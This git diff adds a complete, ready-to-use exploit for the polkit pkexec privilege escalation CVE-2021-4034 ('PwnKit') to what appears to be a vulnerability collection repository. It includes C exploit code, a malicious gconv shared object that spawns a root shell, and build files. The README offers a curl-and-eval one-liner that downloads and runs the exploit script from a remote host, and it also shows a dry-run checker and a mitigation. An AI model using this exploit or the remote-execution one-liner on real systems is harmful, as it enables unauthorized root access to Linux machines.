diff --git a/cve/polkit/2021/CVE-2021-4034/LICENSE b/cve/polkit/2021/CVE-2021-4034/LICENSE new file mode 100644 index 0000000000000000000000000000000000000000..f87239526f57c638d37a0f27e36faca5fca6d4fd --- /dev/null +++ b/cve/polkit/2021/CVE-2021-4034/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 Davide Berardi + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/cve/polkit/2021/CVE-2021-4034/Makefile b/cve/polkit/2021/CVE-2021-4034/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..e03269b043813d5d37504d6f93a3ce0f6d6d6e95 --- /dev/null +++ b/cve/polkit/2021/CVE-2021-4034/Makefile @@ -0,0 +1,25 @@ +CFLAGS=-Wall +TRUE=$(shell which true) + +.PHONY: all +all: pwnkit.so cve-2021-4034 gconv-modules gconvpath + +.PHONY: clean +clean: + rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./ + make -C dry-run clean + +gconv-modules: + echo "module UTF-8// PWNKIT// pwnkit 1" > $@ + +.PHONY: gconvpath +gconvpath: + mkdir -p GCONV_PATH=. + cp -f $(TRUE) GCONV_PATH=./pwnkit.so:. + +pwnkit.so: pwnkit.c + $(CC) $(CFLAGS) --shared -fPIC -o $@ $< + +.PHONY: dry-run +dry-run: + make -C dry-run diff --git a/cve/polkit/2021/CVE-2021-4034/README.md b/cve/polkit/2021/CVE-2021-4034/README.md new file mode 100644 index 0000000000000000000000000000000000000000..ff79917019057a5ac63e4a4e7bb6384299c78a9d --- /dev/null +++ b/cve/polkit/2021/CVE-2021-4034/README.md @@ -0,0 +1,102 @@ +# CVE-2021-4034 +One day for the polkit privilege escalation exploit + +Just execute `make`, `./cve-2021-4034` and enjoy your root shell. + +The original advisory by the real authors is [here](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt) + +## PoC +If the exploit is working you'll get a root shell immediately: + +```bash +vagrant@ubuntu-impish:~/CVE-2021-4034$ make +cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c +cc -Wall cve-2021-4034.c -o cve-2021-4034 +echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules +mkdir -p GCONV_PATH=. +cp /usr/bin/true GCONV_PATH=./pwnkit.so:. +vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034 +# whoami +root +# exit +``` + +Updating polkit on most systems will patch the exploit, therefore you'll get the usage and the program will exit: +```bash +vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034 +pkexec --version | + --help | + --disable-internal-agent | + [--user username] PROGRAM [ARGUMENTS...] + +See the pkexec manual page for more details. +vagrant@ubuntu-impish:~/CVE-2021-4034$ +``` + +## Dry Run +To not execute a shell but just test if the system is vulnerable compile the `dry-run` target. + +If the program exit printing "root" it means that your system is vulnerable to the exploit. +```bash +vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run +... +vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034 +root +vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $? +1 +``` + +If your system is not vulnerable it prints an error and exit. +```bash +vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034 +pkexec --version | + --help | + --disable-internal-agent | + [--user username] PROGRAM [ARGUMENTS...] + +See the pkexec manual page for more details. +vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $? +0 +``` + +## About Polkit pkexec for Linux + +Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission). + +# One-liner commands + +You can easily exploit the system using a single script, downloadable and executable with this command: + +```sh +eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)" +``` + +```bash +vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami +vagrant +vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)" +cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c +cc -Wall cve-2021-4034.c -o cve-2021-4034 +echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules +mkdir -p GCONV_PATH=. +cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:. +# whoami +root +``` + +# Mitigation + +If no patches are available for your operating system, you can remove the SUID-bit from pkexec as a temporary mitigation. +```bash +# chmod 0755 /usr/bin/pkexec +``` + +The exploit then will fail complaining that `pkexec` must have the +setuid bit enabled. +```bash +vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec +vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034 +GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT” +pkexec must be setuid root +``` + diff --git a/cve/polkit/2021/CVE-2021-4034/cve-2021-4034.c b/cve/polkit/2021/CVE-2021-4034/cve-2021-4034.c new file mode 100644 index 0000000000000000000000000000000000000000..3f5ef9581292d1b27b959378903093ae5884d113 --- /dev/null +++ b/cve/polkit/2021/CVE-2021-4034/cve-2021-4034.c @@ -0,0 +1,17 @@ +#include + +int main(int argc, char **argv) +{ + char * const args[] = { + NULL + }; + char * const environ[] = { + "pwnkit.so:.", + "PATH=GCONV_PATH=.", + "SHELL=/lol/i/do/not/exists", + "CHARSET=PWNKIT", + "GIO_USE_VFS=", + NULL + }; + return execve("/usr/bin/pkexec", args, environ); +} diff --git a/cve/polkit/2021/CVE-2021-4034/cve-2021-4034.sh b/cve/polkit/2021/CVE-2021-4034/cve-2021-4034.sh new file mode 100644 index 0000000000000000000000000000000000000000..e5ba02c03cecf07206241cab2c3fee1eebb0d134 --- /dev/null +++ b/cve/polkit/2021/CVE-2021-4034/cve-2021-4034.sh @@ -0,0 +1,14 @@ +#!/usr/bin/env sh + +URL='https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/' + +for EXPLOIT in "${URL}/cve-2021-4034.c" \ + "${URL}/pwnkit.c" \ + "${URL}/Makefile" +do + curl -sLO "$EXPLOIT" || wget --no-hsts -q "$EXPLOIT" -O "${EXPLOIT##*/}" +done + +make + +./cve-2021-4034 diff --git a/cve/polkit/2021/CVE-2021-4034/dry-run/Makefile b/cve/polkit/2021/CVE-2021-4034/dry-run/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..6b7077ebfdaf57b4010850a7986dab6089bf34b6 --- /dev/null +++ b/cve/polkit/2021/CVE-2021-4034/dry-run/Makefile @@ -0,0 +1,23 @@ +TRUE=$(shell which true) +WHOAMI=$(shell which whoami) + +CFLAGS=-Wall -DTRUE='"${TRUE}"' -DWHOAMI='"${WHOAMI}"' + +.PHONY: all +all: dry-run-cve-2021-4034 + +.PHONY: clean +clean: + rm -rf dry-run-cve-2021-4034 pwnkit-dry-run.so_data.h pwnkit-dry-run.so + +%.so: %.c + $(CC) $(CFLAGS) --shared -fPIC -o $@ $< + +%.so_data.h: %.so + echo "#ifndef __PWNKIT_SO_DATA_H" >$@ + echo "#define __PWNKIT_SO_DATA_H" >>$@ + xxd -i $< >>$@ + echo "#endif" >>$@ + +dry-run-cve-2021-4034: dry-run-cve-2021-4034.c pwnkit-dry-run.so_data.h + $(CC) $(CFLAGS) -o $@ $< diff --git a/cve/polkit/2021/CVE-2021-4034/dry-run/dry-run-cve-2021-4034.c b/cve/polkit/2021/CVE-2021-4034/dry-run/dry-run-cve-2021-4034.c new file mode 100644 index 0000000000000000000000000000000000000000..4f81cb3500abcea0f67e26cda3ab27e47fedac8f --- /dev/null +++ b/cve/polkit/2021/CVE-2021-4034/dry-run/dry-run-cve-2021-4034.c @@ -0,0 +1,172 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "pwnkit-dry-run.so_data.h" + +#define TESTDIR "/tmp/pwnkit-dry-run" + +#define EXPLOITABLE_OR_ERROR 1 + +static int removedir(const char *path) +{ + struct dirent *entry; + DIR *directory = opendir(path); + + char filename[PATH_MAX + 1]; + if (directory == NULL) + return -1; + + while ((entry = readdir(directory)) != NULL) { + if (!strcmp(".", entry->d_name)) + continue; + if (!strcmp("..", entry->d_name)) + continue; + + snprintf(filename, PATH_MAX, "%s/%s", path, entry->d_name); + + if (entry->d_type == DT_DIR) + removedir(filename); + else + remove(filename); + } + closedir(directory); + + return remove(path); +} + +static int copyfile(const char *input, const char *output) +{ + int ret = 0; + int ofd = 0; + FILE *in, *out; + unsigned char buffer[4096]; + in = fopen(input, "rb"); + if (in == NULL) + return -1; + + ofd = open(output, O_WRONLY | O_CREAT, 0700); + if (ofd < 0) + return -1; + + out = fdopen(ofd, "wb"); + if (out == NULL) + return -1; + + while (!feof(in) && !ferror(in) && !ferror(out)) { + size_t i = 0; + int r = fread(buffer, 1, sizeof(buffer), in); + for (i = 0 ; i < r && !ferror(in) && !ferror(out);) { + int w = fwrite(buffer + i, 1, sizeof(buffer) - i, out); + i += w; + } + } + + ret = ferror(in) || ferror(out); + + fclose(in); + fclose(out); + + return ret; +} + +static int createandwritefile(const char *dest, const char *content) +{ + FILE *f = fopen(dest, "w"); + if (f == NULL) + return -1; + + fprintf(f, "%s\n", content); + fclose(f); + return 0; +} + +static int createsharedobjectpwnkit(const char *outputname) +{ + int ret = 0; + int wrote = 0; + int fd; + FILE *f; + + fd = open(outputname, O_WRONLY | O_CREAT, 0700); + if (fd < 0) + return -1; + + f = fdopen(fd, "wb"); + if (f == NULL) + return -1; + + while (wrote < pwnkit_dry_run_so_len) { + int w = fwrite(pwnkit_dry_run_so + wrote, 1, + pwnkit_dry_run_so_len - wrote, f); + wrote += w; + } + + ret = ferror(f); + fclose(f); + + return ret; +} + +int main(int argc, char **argv) +{ + pid_t p; + int wstatus = 0; + int exitcode = EXPLOITABLE_OR_ERROR; + char * const args[] = { + NULL + }; + char * const environ[] = { + "pwnkit.so:.", + "PATH=GCONV_PATH=.", + "SHELL=/lol/i/do/not/exists", + "CHARSET=PWNKIT", + "GIO_USE_VFS=", + NULL + }; + + mkdir(TESTDIR, 0750); + + if (chdir(TESTDIR) != 0) + return EXPLOITABLE_OR_ERROR; + + mkdir("GCONV_PATH=.", 0750); + + if (copyfile(TRUE, "GCONV_PATH=./pwnkit.so:.") != 0) + return EXPLOITABLE_OR_ERROR; + + if (createandwritefile("gconv-modules", "module UTF-8// PWNKIT// pwnkit 1") != 0) + return EXPLOITABLE_OR_ERROR; + + if (createsharedobjectpwnkit("pwnkit.so")); + + p = fork(); + switch (p) { + case -1: + perror("fork"); + break; + + case 0: + return execve("/usr/bin/pkexec", args, environ); + + default: + wait(&wstatus); + while (!WIFEXITED(wstatus)) + wait(&wstatus); + exitcode = WEXITSTATUS(wstatus); + break; + } + + removedir(TESTDIR); + + if (exitcode != 0) + return 1 - EXPLOITABLE_OR_ERROR; + + return EXPLOITABLE_OR_ERROR; +} + diff --git a/cve/polkit/2021/CVE-2021-4034/dry-run/pwnkit-dry-run.c b/cve/polkit/2021/CVE-2021-4034/dry-run/pwnkit-dry-run.c new file mode 100644 index 0000000000000000000000000000000000000000..42f5c9bffaec16ad7eaddb0ef45432616c0a3106 --- /dev/null +++ b/cve/polkit/2021/CVE-2021-4034/dry-run/pwnkit-dry-run.c @@ -0,0 +1,16 @@ +#include +#include +#include + +void gconv(void) { +} + +void gconv_init(void *step) +{ + char * const args[] = { WHOAMI, NULL }; + char * const environ[] = { NULL }; + setuid(0); + setgid(0); + execve(args[0], args, environ); + exit(0); +} diff --git a/cve/polkit/2021/CVE-2021-4034/pwnkit.c b/cve/polkit/2021/CVE-2021-4034/pwnkit.c new file mode 100644 index 0000000000000000000000000000000000000000..61fab55f95fedf7c759d8fb340ce2b6f84eccfce --- /dev/null +++ b/cve/polkit/2021/CVE-2021-4034/pwnkit.c @@ -0,0 +1,16 @@ +#include +#include +#include + +void gconv(void) { +} + +void gconv_init(void *step) +{ + char * const args[] = { "/bin/sh", NULL }; + char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL }; + setuid(0); + setgid(0); + execve(args[0], args, environ); + exit(0); +} diff --git a/cve/polkit/2021/yaml/CVE-2021-4034.yaml b/cve/polkit/2021/yaml/CVE-2021-4034.yaml new file mode 100644 index 0000000000000000000000000000000000000000..9322d0459429d0fc4118deb39f831d297ea21a2b --- /dev/null +++ b/cve/polkit/2021/yaml/CVE-2021-4034.yaml @@ -0,0 +1,20 @@ +id: CVE-2021-4034 +source: https://github.com/berdav/CVE-2021-4034 +info: + name: Polkit(PolicyKit)是类Unix系统中一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯。pkexec是Polkit开源应用框架的一部分,可以使授权非特权用户根据定义的策略以特权用户的身份执行命令。 + severity: high + description: | + polkit pkexec 中对命令行参数处理有误,导致参数注入,能够导致本地提权。pkexec应用程序为Linux系统预装工具,攻击者可通过构造特定的参数诱导pkexec执行任意代码,从而获取本地管理员权限。 + scope-of-influence: + 2009年5月至2022年1月发布的所有 Polkit 版本 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-4034 + - http://packetstormsecurity.com/files/166196/Polkit-pkexec-Local-Privilege-Escalation.html + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2021-4034 + cwe-id: CWE-787,CWE-125 + cnvd-id: None + kve-id: None + tags: cve2021,权限提升 \ No newline at end of file diff --git a/vulnerability_list.yaml b/vulnerability_list.yaml index 7b2d84edc3633ab6bbd014e93bf05f1864e97b87..1148d39b288061b5602a642d94647f19ebbe57a5 100644 --- a/vulnerability_list.yaml +++ b/vulnerability_list.yaml @@ -19,5 +19,7 @@ cve: - CVE-2019-3396 - CVE-2021-26084 - CVE-2022-26134 + polkit: + - CVE-2021-4034 cnvd: kve: \ No newline at end of file